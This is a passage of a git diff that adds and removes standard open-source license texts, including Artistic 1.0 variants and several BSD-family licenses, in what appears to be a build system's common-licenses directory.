+ (i) Posting the Program on a public access information storage and retrieval service for which a fee is received for retrieving information (such as an on-line service), provided that the fee is not content-dependent (i.e., the fee would be the same for retrieving the same volume of information consisting of random data) and that access to the service and to the Program is available independent of any other product or service. An example of a service that does not fall under this section is an on-line service that is operated by a company and that is only available to customers of that company. (This is not an exhaustive enumeration.)
+ (ii) Distributing the Program on removable computer-readable media, provided that the files containing the Program are reproduced entirely and verbatim on such media, that all information on such media be redistributable for non-commercial purposes without charge, and that such media are distributed by themselves (except for accompanying documentation) independent of any other product or service. Examples of such media include CD-ROM, magnetic tape, and optical storage media. (This is not intended to be an exhaustive list.) An example of a distribution that does not fall under this section is a CD-ROM included in a book or magazine. (This is not an exhaustive enumeration.)
+
+ (b) Activities other than copying, distribution and modification of the Program are not subject to this License and they are outside its scope. Functional use (running) of the Program is not restricted, and any output produced through the use of the Program is subject to this license only if its contents constitute a work based on the Program (independent of having been made by running the Program).
+
+ (c) You must meet all of the following conditions with respect to any work that you distribute or publish that in whole or in part contains or is derived from the Program or any part thereof ("the Work"):
+
+ (i) If you have modified the Program, you must cause the Work to carry prominent notices stating that you have modified the Program's files and the date of any change. In each source file that you have modified, you must include a prominent notice that you have modified the file, including your name, your e-mail address (if any), and the date and purpose of the change;
+ (ii) You must cause the Work to be licensed as a whole and at no charge to all third parties under the terms of this License;
+ (iii) If the Work normally reads commands interactively when run, you must cause it, at each time the Work commences operation, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty). Such notice must also state that users may redistribute the Work only under the conditions of this License and tell the user how to view the copy of this License included with the Work. (Exceptions: if the Program is interactive but normally prints or displays such an announcement only at the request of a user, such as in an "About box", the Work is required to print or display the notice only under the same circumstances; if the Program itself is interactive but does not normally print such an announcement, the Work is not required to print an announcement.);
+ (iv) You must accompany the Work with the complete corresponding machine-readable source code, delivered on a medium customarily used for software interchange. The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable code. If you distribute with the Work any component that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, you must also distribute the source code of that component if you have it and are allowed to do so;
+ (v) If you distribute any written or printed material at all with the Work, such material must include either a written copy of this License, or a prominent written indication that the Work is covered by this License and written instructions for printing and/or displaying the copy of the License on the distribution medium;
+ (vi) You may not impose any further restrictions on the recipient's exercise of the rights granted herein.
+
+If distribution of executable or object code is made by offering the equivalent ability to copy from a designated place, then offering equivalent ability to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source code along with the object code.
+
+3. Reservation of Rights.
+No rights are granted to the Program except as expressly set forth herein. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+4. Other Restrictions.
+If the distribution and/or use of the Program is restricted in certain countries for any reason, Licensor may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+5. Limitations.
+THE PROGRAM IS PROVIDED TO YOU "AS IS," WITHOUT WARRANTY. THERE IS NO WARRANTY FOR THE PROGRAM, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL LICENSOR, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. General.
+This License is governed by the laws of the State of California, U.S.A., excluding choice of law rules.
+
+If any part of this License is found to be in conflict with the law, that part shall be interpreted in its broadest meaning consistent with the law, and no other parts of the License shall be affected.
+
+For United States Government users, the Program is provided with RESTRICTED RIGHTS. If you are a unit or agency of the United States Government or are acquiring the Program for any such unit or agency, the following apply:
+
+If the unit or agency is the Department of Defense ("DOD"), the Program and its documentation are classified as "commercial computer software" and "commercial computer software documentation" respectively and, pursuant to DFAR Section 227.7202, the Government is acquiring the Program and its documentation in accordance with the terms of this License. If the unit or agency is other than DOD, the Program and its documentation are classified as "commercial computer software" and "commercial computer software documentation" respectively and, pursuant to FAR Section 12.212, the Government is acquiring the Program and its documentation in accordance with the terms of this License.
diff --git a/meta/files/common-licenses/Artistic-1.0-Perl b/meta/files/common-licenses/Artistic-1.0-Perl
new file mode 100644
index 0000000000..dd45f4cd89
--- /dev/null
+++ b/meta/files/common-licenses/Artistic-1.0-Perl
@@ -0,0 +1,51 @@
+The "Artistic License"
+
+Preamble
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder as specified below.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as uunet.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+ b) use the modified Package only within your corporation or organization.
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+ c) give non-standard executables non-standard names, and clearly document the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own. You may embed this Package's interpreter within an executable of yours (by linking); this shall be construed as a mere form of aggregation, provided that the complete Standard Version of the interpreter is so embedded.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whoever generated them, and may be sold commercially, and may be aggregated with this Package. If such scripts or library files are aggregated with this Package via the so-called "undump" or "unexec" methods of producing a binary executable image, then distribution of such an image shall neither be construed as a distribution of this Package nor shall it fall under the restrictions of Paragraphs 3 and 4, provided that you do not represent such an executable image as a Standard Version of this Package.
+
+7. C subroutines (or comparably compiled subroutines in other languages) supplied by you and linked into this Package in order to emulate subroutines and variables of the language defined by this Package shall not be considered part of this Package, but are the equivalent of input as in Paragraph 6, provided these subroutines do not change the language in any way that would cause it to fail the regression tests for the language.
+
+8. Aggregation of this Package with a commercial distribution is always permitted provided that the use of this Package is embedded; that is, when no overt attempt is made to make this Package's interfaces visible to the end user of the commercial distribution. Such use shall not be construed as a distribution of this Package.
+
+9. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/Artistic-1.0-cl8 b/meta/files/common-licenses/Artistic-1.0-cl8
new file mode 100644
index 0000000000..6f26f833d0
--- /dev/null
+++ b/meta/files/common-licenses/Artistic-1.0-cl8
@@ -0,0 +1,51 @@
+The Artistic License
+
+Preamble
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
+
+ "Reasonable copying fee" is whatever you can justify on the basis of media cost, duplication charges, time of people involved, and so on. (You will not be required to justify it to the Copyright Holder, but only to the computing community at large as a market that must bear the fee.)
+
+ "Freely Available" means that no fee is charged for the item itself, though there may be fees involved in handling the item. It also means that recipients of the item may redistribute it under the same conditions they received it.
+
+1. You may make and give away verbatim copies of the source form of the Standard Version of this Package without restriction, provided that you duplicate all of the original copyright notices and associated disclaimers.
+
+2. You may apply bug fixes, portability fixes and other modifications derived from the Public Domain or from the Copyright Holder. A Package modified in such a way shall still be considered the Standard Version.
+
+3. You may otherwise modify your copy of this Package in any way, provided that you insert a prominent notice in each changed file stating how and when you changed that file, and provided that you do at least ONE of the following:
+
+ a) place your modifications in the Public Domain or otherwise make them Freely Available, such as by posting said modifications to Usenet or an equivalent medium, or placing the modifications on a major archive site such as ftp.uu.net, or by allowing the Copyright Holder to include your modifications in the Standard Version of the Package.
+ b) use the modified Package only within your corporation or organization.
+ c) rename any non-standard executables so the names do not conflict with standard executables, which must also be provided, and provide a separate manual page for each non-standard executable that clearly documents how it differs from the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+4. You may distribute the programs of this Package in object code or executable form, provided that you do at least ONE of the following:
+
+ a) distribute a Standard Version of the executables and library files, together with instructions (in the manual page or equivalent) on where to get the Standard Version.
+ b) accompany the distribution with the machine-readable source of the Package with your modifications.
+ c) accompany any non-standard executables with their corresponding Standard Version executables, giving the non-standard executables non-standard names, and clearly documenting the differences in manual pages (or equivalent), together with instructions on where to get the Standard Version.
+ d) make other distribution arrangements with the Copyright Holder.
+
+5. You may charge a reasonable copying fee for any distribution of this Package. You may charge any fee you choose for support of this Package. You may not charge a fee for this Package itself. However, you may distribute this Package in aggregate with other (possibly commercial) programs as part of a larger (possibly commercial) software distribution provided that you do not advertise this Package as a product of your own.
+
+6. The scripts and library files supplied as input to or produced as output from the programs of this Package do not automatically fall under the copyright of this Package, but belong to whomever generated them, and may be sold commercially, and may be aggregated with this Package.
+
+7. C or perl subroutines supplied by you and linked into this Package shall not be considered part of this Package.
+
+8.Aggregation of this Package with a commercial distribution is always permitted provided that the use of this Package is embedded; that is, when no overt attempt is made to make this Package's interfaces visible to the end user of the commercial distribution. Such use shall not be construed as a distribution of this Package.
+
+9. The name of the Copyright Holder may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+10. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+
+The End
diff --git a/meta/files/common-licenses/BSD b/meta/files/common-licenses/BSD
deleted file mode 100644
index c7a0aa4f94..0000000000
--- a/meta/files/common-licenses/BSD
+++ /dev/null
@@ -1,26 +0,0 @@
-Copyright (c) The Regents of the University of California.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions
-are met:
-1. Redistributions of source code must retain the above copyright
- notice, this list of conditions and the following disclaimer.
-2. Redistributions in binary form must reproduce the above copyright
- notice, this list of conditions and the following disclaimer in the
- documentation and/or other materials provided with the distribution.
-3. Neither the name of the University nor the names of its contributors
- may be used to endorse or promote products derived from this software
- without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
-OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
-OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-0-Clause b/meta/files/common-licenses/BSD-0-Clause
deleted file mode 100644
index 328bdd6aee..0000000000
--- a/meta/files/common-licenses/BSD-0-Clause
+++ /dev/null
@@ -1,12 +0,0 @@
-Copyright (C) <YEAR> by <OWNER>
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
-WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
-ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/BSD-2-Clause-Patent b/meta/files/common-licenses/BSD-2-Clause-Patent
new file mode 100644
index 0000000000..1184c02957
--- /dev/null
+++ b/meta/files/common-licenses/BSD-2-Clause-Patent
@@ -0,0 +1,47 @@
+Copyright (c) <YEAR> <COPYRIGHT HOLDERS>
+
+Redistribution and use in source and binary forms, with or without modification,
+are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice,
+this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+this list of conditions and the following disclaimer in the documentation
+and/or other materials provided with the distribution.
+
+Subject to the terms and conditions of this license, each copyright holder
+and contributor hereby grants to those receiving rights under this license
+a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+(except for failure to satisfy the conditions of this license) patent license
+to make, have made, use, offer to sell, sell, import, and otherwise transfer
+this software, where such license applies only to those patent claims, already
+acquired or hereafter acquired, licensable by such copyright holder or contributor
+that are necessarily infringed by:
+
+(a) their Contribution(s) (the licensed copyrights of copyright holders and
+non-copyrightable additions of contributors, in source or binary form) alone;
+or
+
+(b) combination of their Contribution(s) with the work of authorship to which
+such Contribution(s) was added by such copyright holder or contributor, if,
+at the time the Contribution is added, such addition causes such combination
+to be necessarily infringed. The patent license shall not apply to any other
+combinations which include the Contribution.
+
+Except as expressly stated above, no rights or licenses from any copyright
+holder or contributor is granted under this license, whether expressly, by
+implication, estoppel or otherwise.
+
+DISCLAIMER
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-2-Clause-Views b/meta/files/common-licenses/BSD-2-Clause-Views
new file mode 100644
index 0000000000..be605e314d
--- /dev/null
+++ b/meta/files/common-licenses/BSD-2-Clause-Views
@@ -0,0 +1,11 @@
+Copyright (c) <year> <owner> All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The views and conclusions contained in the software and documentation are those of the authors and should not be interpreted as representing official policies, either expressed or implied, of the copyright holders or contributors.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Attribution b/meta/files/common-licenses/BSD-3-Clause-Attribution
new file mode 100644
index 0000000000..6dcab5eff0
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Attribution
@@ -0,0 +1,11 @@
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+ 4. Redistributions of any form whatsoever must retain the following acknowledgment: 'This product includes software developed by the "Universidad de Palermo, Argentina" (http://www.palermo.edu/).'
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Clear b/meta/files/common-licenses/BSD-3-Clause-Clear
new file mode 100644
index 0000000000..c6e95da6aa
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Clear
@@ -0,0 +1,32 @@
+The Clear BSD License
+
+Copyright (c) [xxxx]-[xxxx] [Owner Organization]
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted (subject to the limitations in the disclaimer
+below) provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice,
+ this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright
+ notice, this list of conditions and the following disclaimer in the
+ documentation and/or other materials provided with the distribution.
+
+ * Neither the name of [Owner Organization] nor the names of its
+ contributors may be used to endorse or promote products derived from this
+ software without specific prior written permission.
+
+NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY
+THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
+CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
+CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
+BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
+IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-3-Clause-LBNL b/meta/files/common-licenses/BSD-3-Clause-LBNL
new file mode 100644
index 0000000000..ab94601aed
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-LBNL
@@ -0,0 +1,12 @@
+Copyright (c) 2003, The Regents of the University of California, through Lawrence Berkeley National Laboratory (subject to receipt of any required approvals from the U.S. Dept. of Energy). All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+(1) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+(2) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+(3) Neither the name of the University of California, Lawrence Berkeley National Laboratory, U.S. Dept. of Energy nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+You are under no obligation whatsoever to provide any bug fixes, patches, or upgrades to the features, functionality or performance of the source code ("Enhancements") to anyone; however, if you choose to make your Enhancements available either publicly, or directly to Lawrence Berkeley National Laboratory, without imposing a separate written license agreement for such Enhancements, then you hereby grant the following license: a non-exclusive, royalty-free perpetual license to install, use, modify, prepare derivative works, incorporate into other computer software, distribute, and sublicense such Enhancements or derivative works thereof, in binary and source code form.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Modification b/meta/files/common-licenses/BSD-3-Clause-Modification
new file mode 100644
index 0000000000..4e337d7dbd
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Modification
@@ -0,0 +1,35 @@
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+1. Redistributions in source code must retain the accompanying
+ copyright notice, this list of conditions, and the following
+ disclaimer.
+
+2. Redistributions in binary form must reproduce the accompanying
+ copyright notice, this list of conditions, and the following
+ disclaimer in the documentation and/or other materials provided
+ with the distribution.
+
+3. Names of the copyright holders must not be used to endorse or
+ promote products derived from this software without prior
+ written permission from the copyright holders.
+
+4. If any files are modified, you must cause the modified files to
+ carry prominent notices stating that you changed the files and
+ the date of any change.
+
+Disclaimer
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS "AS IS" AND
+ ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
+ TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
+ THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Military-License b/meta/files/common-licenses/BSD-3-Clause-No-Military-License
new file mode 100644
index 0000000000..e06aa93b51
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Military-License
@@ -0,0 +1,16 @@
+Copyright (c) year copyright holder. All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1.
+Redistribution of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2.
+Redistribution in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3.
+Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
